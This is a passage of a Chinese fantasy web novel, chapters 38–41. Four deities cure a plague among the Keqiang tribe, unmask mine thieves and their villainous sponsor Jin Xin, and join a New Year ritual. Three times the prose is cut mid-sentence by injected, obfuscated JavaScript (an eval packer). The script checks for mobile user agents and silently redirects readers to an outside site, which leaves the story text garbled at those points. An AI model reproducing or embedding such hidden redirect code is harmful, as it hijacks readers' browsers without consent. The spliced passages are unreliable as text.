他们分别是鬼王枫弋、帝君遥歧、春神明祈、云槐弥祯。 38. 克羌四君见四君2 画像上的四个人,对于弥清来说,除了帝君遥岐,剩下的三个人只闻其名,未见其人。 可她第一眼就看到了弥祯,那个和她姓氏相同的男人。 还是那个身负万灵之力的三界罪人。 画上的弥祯肤色白皙,清雅端方已极,瞳色淡若清波,眉眼温和有力,唇角清扬,虽着一身素袍,却难掩王族贵气。不知道为什么,弥清只一眼,就觉得画上之人格外亲切。 她不由自主地走上前去,深深地望着画中人,手下意识地想要触碰,却在最后一刻停在了半空。似是与画中人建立了某种联系,明明是目视前方,弥清却觉得他正在看着自己,她意外地发现,心中缺失的那一角正在被填满...... 弥清看着画出神,半晌才喃喃道:“他叫弥祯是吗?” 拉布坦道:“是的。” 和她想象中的不一样。 传闻中,他是十恶不赦,青面獠牙的怪物,她从小就知道这个人姓弥,但不知他的名,对于他样貌的描述她是不信的。但那时,因为万灵之乱,她也曾和别人一样厌恶过他,甚至对外只唤“阿清”,而非“弥清”。 奇怪的是,随着她渐渐长大,飞升成神,百年光阴,世人似乎只记得万灵之乱,不记得弥姓罪人,甚至不知道是否真的有这个人。 而她,也随世人一般遗忘,只记得自己是弥清。 前尘已如昨日死,后世当若今日生。 今日相见,恰似温酒一壶逢故人,余温尚存,只是故人不识。 身后的三人看到另外三幅画像神色复杂,明明是最熟悉的人,却又觉得陌生。 画上的他们意气风发,恣意潇洒。 那时三人还未成神,那是他们从未见过的样子。 拉布坦站在四人身后,时隔百年,看着克羌两代拉野,眼里流下两行热泪,道:“克羌的先辈向画中的四位承诺过,落雪、山林、龙角仙为证,克羌人会永远守护山林不受敌人侵扰,也会永远相信他们......” 遥旭冷笑一声,道:“永远相信吗?即便做了错事也要一直相信吗?” 他的语气沉沉的,满是嘲讽,不甘,甚至还带了一点赌气。 拉布坦道:“事情不到最后一刻,是分不出好坏的。即便真的错了,又怎可因一叶障目,不见林海之广阔呢?四位既然能成为天稷四君,必然也和他们一样,有共同的追求。是非功过,相信诸位心中自有考量。” 拉布坦右手扶肩,向四人行了一礼,又道:“诸位亦是克羌的拉野,无论未来发生任何事情,只要克羌还在世上,我们会永远支持你们。” 言朝望着画像,突然道:“你们会一直记得他们,对吗?” 拉布坦郑重地道:“会的。” 言朝转过身,点了点头,笑道:“挺好的。” 一直没开口的风奚道:“谢谢你们还保留着他们的画像,谢谢。” 他的话说得缓慢而郑重,拉布坦笑着没说话,风奚却转过身对着枫弋的画像跪了下来,重重地磕了三个响头。额头与地面相触时,他的眼尾几不可查的泛红,起身时又恢复了原样。 弥清与言朝也分别对着弥祯和明祈跪地叩首,只有遥旭僵硬地站在原地。他沉默半晌,最终只是对着遥岐的画像不情不愿 地行了一礼。 最后,直到他们离开,弥清也没有问一句和弥桢有关的事情,但她似乎做了某种决定,眼神异常的坚定。 言朝惦记着那两个疫病,从小木屋一出来,就急匆匆赶回去了。 一回来先是挨个检查了一下每个人及牲畜的情况,随后就吩咐人准备一口大锅,架锅烧水,从包里拿出一个小圆筒,将里面的东西一股脑地倒进滚水中,一入锅就散发着淡淡的清香,与其说是药,倒不如说是药茶。 弥清在一旁帮忙搅拌,道:“你这包可真是个宝贝,什么都有。可你为什么会随身带着这些东西?难道你早就知道?” 言朝闻言一顿,随即笑道:“我要是早就知道,现在就不会站在这了。我反而希望这药永远都用不上呢,现在好了,给我的包腾地方了。”言朝看向弥清,又道,“反倒是你,刚才那一遭,感觉怎么样?” 弥清手上的动作没停,沉默少顷,道:“其实自从上次在胜春镇净化之后,我经常做一个梦。” 言朝仔细听着,没说话。 弥清:“那个梦没什么东西,只是一直有一个声音在问我‘是否能够承受更大的,更多的怨力?’” “这世上唯一一处拥有极强怨力的地方只有云槐,那个三界禁地。我有一种强烈的直觉,我来自云槐,因为梦中的那道声音甚至让我生出了一丝恨意。但当我看到弥祯的画像时,那股恨意竟然被平息了。” 言朝“哦?”了一声,道:“这么说你有了更好的打算?” 弥清道:“我觉得拉布坦说得对,不管我是不是来自云槐,都有自己的路要走。事情可能没那么简单,那个声音或许是想控制我,但我可是弥清!我会用自己的方式找到真相的!” 言朝莞尔:“你可不是一个人哦!” 弥清道:“是啊,我还有你们。” 言朝与弥清将煮好的药茶分发给族人和牲畜,言朝又将已经配好的药茶交给拉布坦,嘱咐他让人每天煮一次,人畜各喝一碗,连喝十天,疫病就能彻底治愈了。 风奚问拉布坦道:“说说吧,你们为什么会染上疫病?” 拉布坦叹息一声,道:“几个月前,来了一个旅人,说要写一本游记......” 那人来时一身便衣,一个包裹,轻便得很。 他自称“陈堂客”,是个游历四方的旅人,正在撰写一部游记。听闻克羌族世代生活在此处,对这里的文化风俗很是向往,想要体验一番后写进书中。克羌人本欲将他驱逐,他便拿出包裹自证,那包裹中装的是一沓厚厚的书稿,经拉布坦和几位族老仔细查验一番后,才准许他进入。 克羌人热情地招待陈堂客,给他讲了许多克羌的故事,带他搭帐篷,骑着龙角仙打猎、还品尝了很多克羌的美食......但唯独没带他去小木屋。 陈堂客与克羌众人相处得很愉快,族人也很喜欢他,听他讲了很多游历途中的奇闻趣事。 说来也是奇怪,没进去小木屋,陈堂客嘴上说着没事,可当天晚上连招呼都没打,什么都没留下,趁着众人熟睡之际离开了。 拉布坦本以为他有什么紧急的事情,林子里野兽多,怕他遇到什么危险,还派人去追他,最后无功而返。 在他离开一段时间后,族人陆续开始出现症状,但最初只以为是普通的病,还检查了日常所需的一切用物,皆没查出一点问题。直到出现了明显的症状,才惊觉是染上了狂木疫和血蛛疫。 一切为时已晚。 思来想去,只有这个突然出现的陈堂客最是可疑。 思绪回转,风奚修长的指节上绕着一圈发带,指腹轻轻地摩挲,沉声道:“你还记得那个人的样子吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361175|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉布坦道:“记得,我这就画上一幅。” 不多时,拉布坦便将陈堂客的画像画了出来,一个蓄着胡须的年轻人,看上去没什么特别。 言朝想起老汉的话,问道:“不知你们这林子里可有什么宝藏?” 拉布坦疑惑:“这里矿脉丰富,一旦开采,这里就成了众矢之的。克羌人受这片土地的滋养,这些年我们从未开采过,过去时有矿贼想来盗采,都被族人尽数阻拦了。姑娘为何如此问?” 言朝没有回答,只道:“外面的人可知道这林子里有矿脉?” 拉布坦道:“知道。但那些生活在林子外的百姓同样敬重这片土地,他们也绝不会做出这等事。” 此话一出,其余三人瞬间就明白言朝为何要这样问了。 四个人谁都没见过这个陈堂客,但结合拉布坦的话,四人已心下知晓,那驿馆的老汉和这个陈堂客应该都是矿贼。他们应是先派陈堂客来投毒,老汉在外面接应,等所有的克羌人都因疫病死绝,他们就可以没有任何阻挠地大肆开采矿脉了。 可若仅仅只是盗矿贼,那他们又是如何策动的狂木疫和血蛛疫?这么大手笔仅仅只是为了盗矿吗? 这其中必有蹊跷。 遥旭愤然起身,道:“好你个死老头,竟敢欺骗我们!真是白瞎言朝的药了!这些人简直是狼子野心,他们难道不知道狂木疫和血蛛疫意味着什么吗?” 言朝却浑不在意,抬头看向遥旭,笑道:“药没了就没了,没什么大不了的。虽然这两种疫病很危险,但现在不是有你在这坐镇吗?” 风奚也附和道:“是啊,这东西你最在行了。” 拉布坦被三人的话给听懵了,道:“你们的话是什么意思?难不成族人染上疫病,还与盗矿贼有关?” 言朝道:“若是我们猜得没错,再过几日就会有人围攻这里了。” “什么!” 拉布坦登时站起身,神色肃然,抬手就要吩咐人备战。对于此等心思恶毒的贼人,他绝不会心慈手软。 言朝叫住他,道:“你别着急呀,你们的病可还没好呢。” 拉布坦急道:“但若真如姑娘所言,我们更应提早防备才是啊!他们害族人至此,我身为毕摩心中有愧!我拉布坦绝不会放过这群歹人!” 遥旭拍了拍拉布坦,道:“你们安心治病,对付他们的事我们来做。这疫病因何而来,我们必须要调查清楚。” 弥清也道:“害人也就罢了,竟然还敢用如此残忍恶毒的法子!此事非同小可,我们也决不轻饶!” 风奚笑了一声,道:“敢用这东西来害人,我倒是很想看看究竟是谁如此大胆,这么想死。” 言朝拍拍手,道:“到时候记得把那个老头交给我。他用了我的药,我得给人治好才行啊!” 风奚哈哈一笑,道:“朝朝尽管放心,你的病人跑不了。” 接下来几天,言朝还是一如既往监督他们喝药茶,风奚让那些在外围巡逻的人都撤了回来,由遥旭和弥清代替他们查看外面的情况。 五天后的清晨,山林外烧起了一片大火,火势蔓延得极快,火光冲天,浓烟滚滚,整片林子迅速被火海淹没。 热浪翻涌,林中走兽,惊恐逃窜,多数未能幸免,被烧成了黑炭。大片树木倾倒,被火烧的“刺啦刺啦”响,生活在这里的人更是无一例外,一时间哀嚎遍野,最终仍是被火舌吞没。 大火烧了三天三夜,原本宁静祥和的森林转瞬就成了人间炼狱。 39. 假火引敌道真机 潜伏在驿馆的众人待大火熄灭后,面上戴着提前浸过药水的布巾,每个人手里都提刀拿剑,几乎个个都长得虎背熊腰,凶神恶煞的。比起那个老汉和陈堂客,其他人更像是被精挑细选,训练有素的杀手,没有一点寻常盗矿贼的流气。 这样的人,足足有几十号。 老汉拿出言朝给的药,吞了三颗,道:“你还真别说,这姑娘给的药还真管用!让她们死在里头真是可惜了。” 陈堂客捻了一把胡须,道:“没见识的老东西。一个女人给了你几颗药而已,能抵得上这山林里的金矿银矿?等我们开了矿,别说是续命的药,就是买他一个国也不在话下!那几个人就当给咱们探路了。” 老汉一想到即将要得到那漫山的金矿,激动地直咽口水,可一想到那两种疫病,心里还是有些顾虑,道:“他们真的都死了吗?我们真的不会染上吗?” 陈堂客啐了一口唾沫,有些烦躁地道:“你怎么这么多问题?!到底还想不想开矿了?” 老汉立马恭敬道:“要的要的!这不是担心万一没处理干净,把咱们再影响了,那不是得不偿失吗?” 陈堂客大笑几声,道:“这个你不必担心!金辛大人助我们策动狂木疫和血蛛疫,双疫齐发,无药可医,无人幸免,除非天神现世。但只要在事后一把火烧成了灰,再配上这泡了药水的布巾,就不用担心被感染。没有了碍眼的敌人,这所有的矿都是我们的!” 老汉听罢,又将脸上的布巾捂得更严实一些。 陈堂客一声令下,众人提着刀剑,背着箩筐,带着挖掘工具一齐向林中进发。 昨日下了一夜的雪,大雪覆盖在烧焦的树木和动物的尸体上,掩盖了大火的痕迹,若是没踏进林子,离远还真看不出什么异样。但当他们走进林子时,林中一片混乱,树木倾倒,尸骸遍地,空气中还残留着烧焦的味道和缕缕黑烟。地面上厚厚的积雪,使他们前进的道路异常难行。 一行人直达克羌聚居之地,这里也是一片废墟,地上随处可见烧焦的尸体。陈堂客在一众尸体中发现了拉布坦,他脖颈上戴着一串兽骨做成的项链,那是只有毕摩才能佩戴的。 陈堂客狂笑道:“啊哈哈哈哈哈哈哈哈哈哈哈!老不死的,你终于翘辫子了啊!你和你的族人先是饱受疫病之苦,又经大火灼烧之痛,死时一定很痛苦吧。听闻狂木疫会使人变成树人,你成了活柴火,为我们照亮了路,也算是大功一件了。你就好好看着,我们是如何把你们一心守护的山林,一点一点挖空的!” 陈堂客抬手一挥,道:“你们去检查一下,看看有没有遗漏的。顺便将这里收拾好,我们即刻就去开矿!” “且慢!” 遥旭的声音突然从众人身后传来。 众人循声望去,老汉脸色一变,颤巍巍地指着遥旭,大惊道:“......你!你怎么没死?!” 遥旭歪了歪头,笑道:“对不起,让你们失望了。不仅我没死,我们所有人都没死!” 陈堂客沉声道:“你什么意思?” 言朝突然站了出来,道:“意思就是,我不仅治好了狂木疫和血蛛疫,这里所有的人都活得好好的。” 弥清道:“而且你们现在所看到的一切都是假象。” “什......”陈堂客刚一开口,就被突然出现的风奚一手提了起来。风奚按着他的颈项,像是摆弄一件玩物似的随意,冰冷的指腹划过皮肤,只需轻轻一按,便会即刻毙命。 陈堂客几近窒息,却迫于他的威压连反抗都忘了。 风奚的力道掌握的很好,既让他挣脱不了,也不敢随意挣扎,只能老老实实的任人处置。 其余的人因风奚的突然出现怔了片刻,正欲拔刀砍向他时,风奚冷眼一望,一道风刃弹出,将这几十号人瞬间倒地晕了过去,只留那老汉还完好无损。 老汉眼见着自己一点事没有,幸灾乐祸地坐在地上傻笑半天,道:“我没死......哈哈哈哈!我没事......” 言朝忽然道:“谁说你没事的?老头,我不是叮嘱过你量力而行嘛,别搞这些打打杀杀的,小心丢了性命啊!” 言朝的声音从头顶传来,老汉缓缓抬起头,言朝正一脸笑意的看着他。 老汉干笑一声,道:“你也活着呢。”说罢,便浑身抽搐,倒地不起。 言朝心道:“贪生怕死还敢来盗矿,真是嫌自己命长。” 言朝蹲下身,扯下他脸上的布巾,闻了闻,笑了一声,道:“还真是让你歪打正着了。” 言朝又去查看那些倒地的蒙面人,果然,全都死了。 但又感觉哪里奇怪。 言朝道:“风奚,你来看看这些人。我觉得他们不对劲。” 风奚将早已吓晕的陈堂客随手一丢,嫌弃地擦了擦手,还不忘向遥旭使了个眼色,示意他看好这两个人。他走上前去,仔细看了看,道:“看来胜春镇的那个东西不是个例。” 言朝道:“他们也是鬼吗?” 风奚道:“不,他们是人。但是被改造过的人。” 言朝怔了一下,笑道:“真有意思,先是来了一个改造鬼,现在又是一帮改造人,不知道后面会不会有一个改造神?” 风奚挑了下眉,道:“还真说不准呢。” 弥清解除了幻术,森林又恢复了原貌,克羌族众人也都回来了。 族众看着面前躺了一地的人,特别是看到陈堂客,一想到他们做的那些事,顿时气不打一处来,抄起木棍就要将他们打一顿。 遥旭拦住他们,道:“你们可千万别冲动啊!这两个人,特别是这个陈堂客,等我们问清了真相,你们随意处置。” 拉布坦道:“我这就让人把他们关起来。”说罢,他又看向那些蒙面人,又道,“怎么处理他们?” 言朝道:“烧了吧,本来就是死的。”言朝望向一旁的弥清,道,“弥清,能不能拜托你一件事。” 弥清道:“没问题。” 言朝道:“烧他们的时候,麻烦你弹一首净魂曲,让他们都能够安息吧。” 弥清见她神色黯淡,想是想起了什么伤心事,道:“你放心吧。” 族人们将这几十个人安置在一处空地前,用木头搭起了一个架子,所有人都躺在木架子上,火点燃的那一刻,净魂乐响,言朝站在远处观望。 这一幕,又在她面前重演。 这一次,她依旧束手无策。 风奚走到她身边,轻声道:“朝朝,你还好吗?” 言朝没有看他,只道:“我能治好令人谈之色变的狂木疫和血蛛疫,却弄不明白一个被改造的人,想想还真是可笑。” 风奚道:“路虽远行则将至。你会做到的。” 言朝回头看他,莞尔:“我一定会做到的。因为我还有很长的路要走。” 火葬结束后,三人一起回到了关押陈堂客和老汉的地方。拉布坦为防二人串 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376254|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通,将他们二人分别关在两处,二人此刻已经醒来。 言朝和风奚去审陈堂客,遥旭和弥清去审老汉。 前者才进帐篷,就见陈堂客被五花大绑地扔在地上,有两个人正在看守他。两人见了言朝和风奚,恭敬地行礼后便退了出去,二人点头示意,此刻就剩下他们三个人。 言朝盘腿坐下,打量着陈堂客,道:“想不到你人长得瘦瘦巴巴的,倒是勇气可嘉。既敢策动瘟疫,又敢放火烧林,不知道这矿会不会感激你们如此大费周章啊?” 陈堂客瞟了一眼言朝,神色戏谑,道:“今日被你们抓了,算我倒霉。就算不是我,以后也会有千千万万个我,你们拦得了一时,拦得了一世吗!” 风奚冷笑一声,道:“看来你是早就知道,今日注定要死在这了?” 陈堂客见了风奚,下意识地往后缩了缩,道:“你什么意思?” 风奚拿出他的布巾,道:“帮你们的人一定说只要戴着这个东西,就不会被感染吧。”风奚笑了一声,又道,“他说的没错,你们的确不会被感染,而是直接死。”边说还边做了一个抹脖的动作。 陈堂客瞳孔微微收缩,不敢相信地摇摇头,道:“不可能......我们明明说好的。他怎么会骗我们呢?” 言朝故意激他,道:“你不信啊,那个老头已经死了,他从一开始就没想让你得到这矿。想想也是,这么多矿,几辈子都花不完,怎么能让你一个人独享呢?” 陈堂客越听越激动,不停地扭动着身体,胸口急剧起伏几下,大声喝道:“那些矿都是我的!我的!谁也别想抢走!” 风奚借势问道:“那是谁让你们这么做的?” 陈堂客脱口而出:“金辛。” 二人闻言一惊。 怎么会是金辛? 妖道金辛,他不是都死了三百年了? 二人对视一眼,神色凝重,言朝言朝目光颤动,震惊之余又问了一遍;“你确定那个人是金辛?那个毒命妖道?” 陈堂客早已被刺激地冲昏了头脑,说话也是没了顾虑,道:“什么妖道不妖道?老子不知道!只知道他叫金辛,引发瘟疫的药就是他给我的。” 言朝道:“跟你一起来的那几十个人,也是他派给你的?” 陈堂客道:“没错。” 金辛到底是什么人? 他是与鹤典并称的羲冥双师的冥师。他之所以被列为双师之一,是因为创邪门广收孤儿造杀器的著名事件。 金辛与当今天上靠发明飞升的晏庭文师出同门,但金辛天生性格阴郁,研究的东西也净是歪门邪道。师父多番教化无果,便一怒之下将他逐出了师门。 金辛离开后,不见丝毫悔改之意,反而愈演愈烈,大行不义之事。 他游走四方,寻来了许多无父无母的孤儿,他将这些孩子汇聚到一座深山当中,给他们提供吃喝,他则是将这些孩子改造成了没有思想和意识的,冷血的杀人武器。 金辛不知从哪学来的邪术,竟能改变人体的构造,他将原本规整排列的脏器肆意拨弄,如同翻搅一堆腐臭的烂泥。他将淘汰下来的孩子炮制成药人。砍断他们的手脚,做成人彘,或是做成形态各异的标本。 药人的身体会像球一样膨胀、扭曲,皮肤逐渐呈现出诡异的青紫色,布满了像蚯蚓蜿蜒爬行的青筋,还不时有脓水从破裂的水泡中汨汨流出,散发着令人作呕的恶臭。舌动喉鸣,呵嘎之声,如闻鬼泣。 40. 散冤魂冥师再临 那是一场恒久的噩梦。 金辛在世期间,中原各国丢失了许多孩子,一开始只是沿街乞讨或是战乱流亡的孤儿,后来是牙人拐来的孩子,再后来就直接变成当街丢孩子。 一时间人心惶惶。 人间各处白日出门不见稚子,夜晚空荡不见活人。 因此事影响极其恶劣,中原各国陆续派出多名高手乃至军队抓捕金辛,均无功而返。倒不是金辛自己有什么上天入地的本事,而是他用来对付那些人的,正是被他改造成杀人武器的孩子们。 纵使武功再高,能力再强的人也不敢,更不忍伤害那些孩子。 那些丢失孩子的父母更不允许。 最初,百姓向朝廷联名请愿,务必要将金辛千刀万剐,同时还要保障孩子们平安归来。因为丢失的孩子太多,金辛又行踪诡秘,藏匿孩子的地点更是隐蔽难寻,朝廷不敢冒然行动,只能保守进攻,结果自然是次次碰壁。 后来,金辛利用这些孩子对他们发起攻击,已经成型的杀器就像一具傀儡,没有感情,战斗力极强。他们的身上还带着一种经活体滋养的毒药,那毒经过反复的淬炼,可在短时间内浸入四肢百骸,凡被他们所伤,皆会中毒发狂至死。 眼见事情愈演愈烈,朝廷为了更多人的安全,下令杀死那些孩子,一个活口都不留。 一时间民怨四起,百姓们各执一词。 丢孩子的百姓不同意杀了自己的孩子,没丢孩子的百姓则是不希望那些杀人魔再害了更多的人。 百姓们又向天上的神官请愿,原本此事并不能上达天都,天都众神更不可随意插手人间事。但多国百姓联名请愿,此事危害深远,终于得报天都,遥岐亲自下令,派武神下界除凡人妖道。 最终,金辛被斩于神剑之下,灰飞烟灭,永世不得超生。 那些孩子也一起被消灭了。 遥岐更遣医神广布仙药,为中毒的百姓解毒疗伤。 金辛已死,世人仍心有余悸。 此后,常有父母以此为例教育稚子:若是不听话,就会被那妖道抓去炼了。 此言一出,再无幼童敢淘气。 金辛死得彻底,别说投胎了,连鬼都做不成。 改造人是他的手段,可为何还能策动消失已久的瘟疫? 难不成还能起死回生? 言朝被巨大的无力感裹挟,她整个人都麻木了,以至于她已经听不清陈堂客的宣泄似的咒骂,她怔愣着站在原地,她甚至不知道,自己会露出什么样的表情,她只觉得快要窒息。 “朝朝,朝朝......” 风奚轻唤了她几声,言朝这才回过神来,道:“我没事。” 言朝又看向陈堂客,道:“金辛在哪?” 陈堂客怒道:“妈了个巴子!老子要是知道他在哪,第一个去宰了他!!!” 此时他心中的恐惧早已被愤怒取代。 受骗不说,还险些没了命,如今矿采不成,反倒被人捆绑至此,简直屈辱至极。心中愤懑,又破口大骂,简直要把金辛的祖宗十八代通通问候一遍。 风奚冷冷地道:“他还有没有让你做别的事?” 陈堂客见二人都不理会他,骂了半天也累了,但仍是没好气地道:“没了。他只说借瘟疫杀了所有克羌人,我只采矿即可。” 风奚道:“你见过他的样子吗?” 陈堂客道:“没有。但听声音是个老太婆。” 风奚弹指一挥,陈堂客又晕了过去,风奚揉了揉耳朵,道:“聒噪。” 言朝道:“想不到过了这么多年,那个让人闻风丧胆的男妖道,竟然变成了一个老太婆,执念还挺深。” 风奚嗤道:“当年可是有天上的神官以为是我在作祟,竟不知死活想要讨伐我,可笑。” 言朝“哦?”了一声,道:“那后来呢?” 风奚道:“后来还是遥......天帝,亲自平息了这场荒唐的笑话。不过金辛现世,确实不可思议。” “以他在人间做的那些事,可见此人执念颇深。他若是正常死亡,必定会化作厉鬼,但我必不会容他。可他以凡人之躯被斩杀于神剑之下,绝无半点生机,我倒是很好奇,究竟是他死而复生,还是有人冒名顶替?” 言朝忽然有一种很强的直觉,这一路上发生的每件事,相互之间都有关联。 话音刚落,遥旭和弥清突然进来,遥旭道:“风奚!言朝!不得了了,那妖道竟然还活着!” 言朝、风奚:“我们已经知道了。” 弥清道:“那个老汉死了。” 言朝怔然,道:“我不是给了药吗?” 遥旭挡在弥清身前,解释道:“这事可不赖我们啊。是他自己不禁说,想的又多,最后自己把自己吓死了。”说罢,还很是无奈地摇了摇头。 言朝道:“算了,注定死的救不活。” 风奚道:“那老头还知道什么?” 遥旭摇摇头,道:“他就是个把门的,所有的事都是这个陈堂客吩咐的。” 风奚目色沉沉,道:“胜春的那个东西和刚才那些人应该都是被改造的,但又与之前的完全不同。此事非同小可,须得好好调查。” 遥旭自知风奚话中深意,他虽不愿回天,但亦知此事的严重性,道:“等此间事了,我自会回天禀明。” 一语毕,遥旭瞟了一眼二人身后的陈堂客,试探道:“他也死了?” 言朝失笑道:“还活着,只是晕过去了。不是说好了要交给克羌人处置吗?” 遥旭猛地拍了下脑门,又变回以往那副不着调的样子,道:“完了!那老头都已经死了,我还拿什么交代啊?你们说,他们不会怪我吧?” 言朝和弥清闻言大笑,风奚上前一把搂住他的脖颈往外走,道:“出去叫人,把他抬走。” 拉布坦将他们二人处死,克羌人及牲畜所染瘟疫也基本痊愈,没有复发的迹象,一切都恢复如常。四人本欲离开,却被拉布坦和族人们热情挽留。 马上就到新年了,拉布坦希望四人能够留下来,和他们一起庆祝新年。 言朝第一个拍手叫好,几乎脱口而出道:“那是不是有很多好吃的好玩的?” 拉布坦笑道:“当然。如果几位愿意留下来,这将是非常特别而热闹的新年。” 族人们也跟着附和道:“留下来吧!留下来吧!” 四人相视一笑,道:“好。” 接下来几天,克羌人一直在为新年祭祀做准备,四个人也没闲着,换上了克羌族的传统服饰,跟着族人们一起体验他们的生活。 那些未知的谜题和尚未查清的真相,都暂且抛之脑后。在这里,他们不是天稷四子,不是神官,不是鬼王,他们只是最纯粹的自己,或者说是一个克羌人。他们可以暂时放下肩上的重担,放下心中的顾虑,尽情地放松,尽情地享受。 每一天都过得充实而快乐。 拉布坦特意找了族中几个十几岁的孩子带着四个人骑龙角仙狩猎,在林子里滑雪,跟着克羌阿嬷用桦树皮、兽皮搭帐篷,用兽皮做衣服,还用事先储存的鹿奶和浆果制作克羌特色美食——木巴。 到了腊月二十七,克羌全族上下开始了新年前的祭祀活动。他们进行仪式的地方离小木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403618|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋不远。 那是一棵高达九丈的桦树,已有上百年的树龄。树木之宽,要四个大人手拉手围在一起,才能将这棵树围上一圈。 克羌人称这棵树为树神。 以这棵树为中心,四周挂满了彩色布条和彩灯,它们在冬日的冷风中被吹得沙沙作响,使人心格外的平静,身子是冷的,心却是暖的。 拉布坦跟他们说过,克羌人的愿望和祝福都会写在彩色布条上,树神会将他们的心愿传达给天神,他们祈求树神的保佑,他们的灵魂与血肉会与树神同在。 这里就是克羌人的根。 一张长木桌上正对着神树,木桌上放着祭祀的贡品。在木桌与神树之间搭起火架子,火架里面放上羊胸骨,撒上羊油后点燃火。 拉布坦展臂做请,道:“请四位站到神树下吧。” 言朝道:“这是何意?” 拉布坦道:“神树不仅承载了克羌人愿望,更有克羌人的祝福。四位是我们最重要的人,今日我们便将所有克羌人的祝福回向给你们。今后无论发生任何事情,千年万岁,克羌永远与你们同在!” 站在拉布坦身后的族人们也纷纷和道:“伟大的拉野啊,请接受克羌的祝福吧......” 族人的恳切之声此起彼伏,一声声地落在他们四人的心上,甚为动容。 四人左手负于胸前,右手轻点额头,以克羌的最高礼,一齐向众人行了一礼,以表感谢。 这种礼仪只有克羌的毕摩、族中德高望重的长辈以及拉野才有资格受此礼。克羌极其注重礼仪,除了第一次见面,此后相处的每一日,克羌上下所有人,见到他们四人都会行此礼。 言朝曾让拉布坦和族人们不必如此,但他们仅是口头答应,再见到时便将那些抛之脑后了。 今日这一礼,亦令所有克羌人动容。 四人走到神树下,面向神树,双目紧闭,手拉手围成一圈。拉布坦展臂高举,唱起祝词,族人也随声同唱。 风声、歌声、火架上的滋啦声,回荡在他们的耳边,神树在这一声声的祝福中,与四人紧紧相连。它仿佛真的听到了族人们的祝福,这些声音汇聚成一股暖流萦绕周身。 世界仿似突然安静了。 “朝朝......” “奚儿......” “子旭......” “清清......” 一道道亲切却模糊的声音在他们耳边响起,四人同时睁开眼。 他们怔在原地,震惊的说不出话来。 除弥清外,其余三人都看到了他们的父母,那是很久以前的他们。 弥清看到的却是两个模糊的背影,但她知道,一定是她的父母。 明祈:“朝朝,爹爹又做了你爱吃的杏子干。” 云湘:“我可爱的女儿,你都已经长这么大了。” ...... 枫弋:“好小子!爹带你去千渡川放风筝!” 汐乐:“我的奚儿是天底下最好的孩子。” ...... 遥岐:“来啊子旭!试试爹今天的新菜。” 母依:“看你这一身的泥,是不是又到哪儿调皮了。” ...... “清清,我们的孩子,你终于平安长大了啊......” 话音刚落,他们就消失了,快得甚至来不及张口挽留。 像一场美梦,一场被遗失的美梦。 再次睁眼时,四人皆已红了眼眶,心绪久久不能平息。 那是他们心底最深切的愿望,但这些,已经不可能再实现了。 41. 燃焰火月下点情 到了新年的这一天,言朝在梦中的一声声欢呼中醒来。 这几日过得太舒服,言朝也难得地睡了几日好觉。但觉睡多了,难免有梦,以至刚醒来时,一下分不清是梦境还是现实。 她搓搓脸走出帐篷,一阵干冽的风吹得她瞬间清醒。 站在不远处的阿克见言朝出来,笑呵呵地跑上前拉住她的手,道:“朝阿姐,新年好!” 这些时日一直是阿克领头带着四人玩遍了克羌。 言朝闻言一愣,心道:“又过了一年啊。”她摸了摸阿克的头,笑道:“阿克,新年好啊!” 阿克道:“阿姐阿姐!今日除夕,族人们正在宰羊,奚阿布和旭阿布都去帮忙了,我们也赶紧过去吧!” 言朝看了看周围,此时除了她和阿克,再没有旁人,道:“怎么不见弥清呢?” 阿克道:“清阿姐跟着阿嬷们去神树那系福结了,阿姐要去吗?我带你去!” 言朝忽然想起前几天跟着阿嬷学编福结,当时只说留着除夕的时候用,可也没说这福结该怎么用,阿嬷还笑的很奇怪,便问道:“系福结有什么讲究吗?” 阿克双手叉腰,解释道:“这里面的说法可多喽。” 福结在不同的时间,不同的人系,都有着不同的意义。 在除夕前夜天将明时系福结,无论男女老少皆可系,意为除旧纳新。当第一缕阳光洒下时,新的希望就此诞生;除夕当天清晨时系福结,年轻男女可求得良缘佳偶,年长之人可求得合家长欢;初一时系福结,便是祈福回馈给天地万物,诸天仙神,就此开启新的一年。 言朝笑了,难怪让她留着除夕当天用,原来是想让她求个如意郎君,可她现在也不需要啊。但又有点后悔,昨夜真不该早早就睡了,平白错过了众人一齐迎新的场面,真是可惜! 可弥清为什么去?她不是有遥旭了吗? 言朝又问:“如果已经觅得良人,今天还能去系吗?” 阿克道:“当然能啊!可以求神树保佑二人良缘早结,相守不离;也可祈求彼此安好,即便将来未能相守,也不忘过往情意,不至反目成仇。” 言朝闻言,沉默半晌,最后一问:“那我若是今日去系,只为祈福,不为姻缘,可有不妥?” 阿克歪着头,一脸不解地看着言朝,道:“倒也没什么不妥,但阿姐你不......” 